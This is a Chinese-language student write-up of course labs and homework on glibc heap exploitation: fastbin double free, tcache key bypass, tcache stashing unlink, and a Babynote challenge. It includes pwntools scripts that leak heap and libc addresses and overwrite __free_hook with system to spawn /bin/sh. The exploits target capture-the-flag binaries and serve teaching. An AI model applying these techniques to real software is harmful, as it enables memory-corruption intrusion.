---
tags: 資訊安全實務
---
# LAB11
## fastbin
這題由於是用callac,所以不會從tcahe上面拿東西,簡單的create在free掉7次後就能夠填滿tcahe,然後開始打fastbin了,目標是要double free之後,在create時寫上我們等等要寫的記憶體的位置,然後最後讓我們create時能夠成功在那塊記憶體位置上寫上東西,流程如下
* create(7)
* create(8)
* free(7)
* free(8) --> 繞過fastbin double free的檢查機制
* free(7)
* create(size, goal_addr)#f1 --> 在double free的地方寫上我們要的next addr
* create(size, "f2")
* create(size, "f1")
* create(size, goal_value) --> 在目標記憶體上寫上我們要的值
基本上完成上面步驟就能夠解出來,但fastbin有個特性,他不像tcahe隨便讓他只到一塊記憶體位置都能夠assign給我們來使用,他在size+flag那個地方必須要是合法正常的數值,不能夠亂指,所以我們要能夠讓他指到符合fastbin大小的size的記憶體上。
那我們要寫的目標記憶體上位置在`target[3]`上面,而他在targer[1]寫了一個值`target[1] = 0x23456789abcdef01`所以只要讓我們assign的地方能夠指到那個0x23就能夠合法,用圖說明
* 原本target長這樣

* 我們的目標是要變這樣,這樣他就會覺得這塊是一個0x20的size(實際上是0x10來者)

所以我們在實際create並且要改寫fd指到我們要寫的記憶體時要寫`create(size, target_addr + 0x07)`,之後就是把該寫的給寫進去了
```python
for i in range(7):
create(0x18,"tcahe")
delete(i)
create(0x18,"fastbin")
create(0x18,"fastbin")
delete(7)
delete(8)
delete(7)
print(p64(mapped))
create(0x18, p64(mapped + 0x07))
create(0x18,"fastbin")
create(0x18,"fastbin")
goal = 0xcafedeadbeefcafe
create(0x18, b'\x00' + p64(goal))
r.sendlineafter("Choice >","3")
r.interactive()
```
最後再提一下,再把goal寫進去前要加`b'\x00'`是因為我們是在addr+0x07的地方為了要寫進`target[3](0x18)`的地方,`addr+0x07+0x10=addr+0x17`,所以需要再多補一個byte才能剛好寫在0x18的地方
## tcahe
這題跟上題類似,但這次的create用的是malloc,且限制了次數,所以不可能用fastbin,只能從tcahe來打,然後用tcahe就簡單多了,double free的檢查機制是檢查key,而且他free掉後沒把pointer指到NULL,所以能夠繼續寫被free掉的那塊,就可以去修改key了,這題就這樣...沒了
```python
create(0x10,"1", 0 , "tcahe")
delete(0)
edit(0, 0, "hack_key_0")
delete(0)
edit(0, 0, "hack_key_1")
delete(0)
#input()
create(0x10, p64(mapped) , 0 , "tcahe")
create(0x10,"tcahe", 0 , "tcahe")
#input()
create(0x10,"tcahe", 0 , p64(0xcafedeadbeefcafe))
backdoor()
r.interactive()
```
但我在解這題時發現,其實我原本是沒有多出`edit(0, 0, "hack_key_1")`這個的,原本在我自己的local端中我不多這個我就能夠拿到shell,但只要用libc-2.31.so之後,我就會發現無法拿到shell,觀察了一下tcahe後我發現我local端在tcahe數量為0時,只要fd還有東西他就會assign這個fd指到的地方給我們寫東西,然後tcahe的數量就變-1了,但bind到libc-2.31.so上之後,他如果是0好像就不會給我們fd指到的地方,所以我才多free一次的。
## stash
其實這題我到現在也都沒有很理解...,只知道把它做成投影片的圖片一樣好像就可以了XD,目標有幾個:
* 讓tcahe裡有六個東西
* 讓small bin指到的東西fd指到small bin,bk指到我們另一塊能控制的地方
* 讓我們那個可以控制的地方bk指到`target addr - 0x10`,fd指到一塊small bin指到的chunk
* 然後在create一塊記憶體從small bin拿出來後,就會做一些很神奇的事情...
* 某塊能控制的記憶體被塞回tcahe
* target addr被寫入small bin的addr
看起來這個攻擊主要是針對某一塊記憶體寫一個非特定的值,來達成某種攻擊,code如下
```python
for i in range(8):
create(0x78, 0,"tcahe")
for i in range(1,8):
delete(i)
delete(0)
input()
super_create(0x78, 0, p64(heap + 0x2b0) + p64(mapped + 0x08)) #malloc from tcahe (trampoline), fd = chunk addr , bk = goal addr - 0x08 (goal addr = mapped + 0x18)
create(0x88, 0, "small_bin") #fastbin 0x20~0x80, push to small bin
edit(0, heap + 0x6b0)
create(0x78, 0, "hack") #calloc memory from small bin?
backdoor()
r.interactive()
```
那這邊注意一下幾個addr,這些addr代表者甚麼我覺得才是重點,助教上課講超快...
* heap + 0x2b0,這一塊就是被放到unsorted bin裡面稍後會被放到small bin的位置,所以super_create的fd填成這個位置
* mapped + 0x08就是target - 0x10,target在mapped + 0x10的地方,所以super_create的bk填成這個位置
* heap + 0x6b0是原本tcahe第7個的memory位置,因為我後來把它從tcahe裡面拿出來當作trampoline,所以small bin指到的chunk的bk要指到這個位置
* 這些位置是會隨者不同的libc而變的...,我這邊是用2.31
# HW11
## Babynote
基本上這題就是跟者助教上課講的流程走,所以我這邊想著重在我的理解,因為這題題目程式碼有擋掉一些操作,像是被delete掉的那個index就不能再去存取它之類的,但可以利用free掉後再malloc一次讓別的index指到同一個memory來繞過這個機制,然後還能夠利用這點來做double free(tcahe的),還能夠順便leak出heap的記憶體位置,就是下面這段code
```python
### leak heap base
create(0x18, "tcahe_0") #0
delete(0)
create(0x18, "tcahe_1") #1, assign memory to before I delete chunk --> 0 and 1 ptr to same addr
delete(0) # double free 0 so tcahe1 ptr to free ptr
for i in range(4):
edit(1, p64(0) + p64(0))
delete(0)
heap_addr = u64(show(1) + b'\x00\x00') - 0x2a0#0x260
print(hex(heap_addr))
```
那為什麼能leak出heap的位置原因就是,double free後fd指到自己,然後這題又提供一個show的function能讓我們吧fd給dump出來,所以就能看到它在heap上的位置後反推回heap在哪裡。
那接下來這就很玄了,因為unsorted bin是一個double linkitlist,講師這邊是講只有一個的時候會指到一些跟libc有關的地方去...我這邊的理解是指回main arena?因為除了tcahe以外其他的bin都會放在main arena裡再指出來,但因為我們大小被限制不能用出unsorted bin,所以要自己偽造一個chunk之後填滿tcahe,在free一次後就會跑到unsorted bin裡面,再從他的fd及bk指到的main arena來leak出libc,code如下
```python
### leak libc base
create(0x78, "tcahe_2") #2
#0x80 + (0x80 - 0x20 - 0x20) + 0x10 = 0xd0 --> fake sapce size 0xd0
create(0x78, b'\x00' * 0x48 + p64(0x21) + b'\x00' * 0x18 + p64(0x21)) #3
delete(2)
create(0x78, "tcahe_4")
create(0x18, p64(heap_addr + 0x2b0)) #5 --> let double free addr fd ptr to heap + 0x2b0
#write addr heap_addr + 0x2b0 to heap_addr + 0x2a0 mean next chunk fd ptr to heap_addr + 0x2a0
#so when malloc heap_addr + 0x2b0, tcahe will ptr to heap_addr + 0x2a0
create(0x18, p64(0) + p64(0) + p64(heap_addr + 0x2a0)) #6 --> after call this create, tcahe fd ptr to heap 0x2b0
create(0x18, p64(0) + p64(0xd1)) #7 --> fake chunk size 0xd0
#heap + 0x2b0 is addr of size of 0x80 of addr
#Now size 0x80 be modify to 0xd0 so after fill tcahe 0xd0 of size of chunk will push to unsorted bin
#fill tcahe
for i in range(7):
delete(2)
edit(4, p64(0) + p64(0))
delete(2)
libc_off = 0x1ebbe0
libc_base = u64(show(4) + b'\x00\x00') - libc_off
free_hook_off = 0x1eeb28
system_off = 0x55410
print(hex(libc_base))
```
這樣我們有了這些位置後,我們就可以再從剛剛tcahe指回heap+0x2a0的fd寫入我們要指到的地方,在create出來後就能拿到shell了,code如下
```python
# call system
edit(1, p64(libc_base + free_hook_off - 0x8)) # fake fd ptr to free_hook - 0x08
create(0x18, "fuck") # let tcahe(0x18) ptr to free_hook - 0x08
create(0x18, b'/bin/sh\x00' + p64(libc_base + system_off)) # call system and push para
delete(9)
r.interactive()
```
## Childnote
好...即使延長了一周我還是沒寫QQ,主要是比完final後有些題目沒解開讓我渾身不自在所以多的這一周還在看final的題目...,這大概也是我交的最後一個writeup了:(
偷偷讓我在這裡說一下(!?,上完這學期後我是對web跟pwn比較有興趣的,所以比賽時我只看了web的flag A跟B還有EDUshell(然後這麼簡單的題目還是只解了一題...),A在比賽中解了出來,B在賽後才解出來,但EDUshell我看了好久都沒看出怎麼打,不知道助教能不能跟我講一下那題的思路QQQ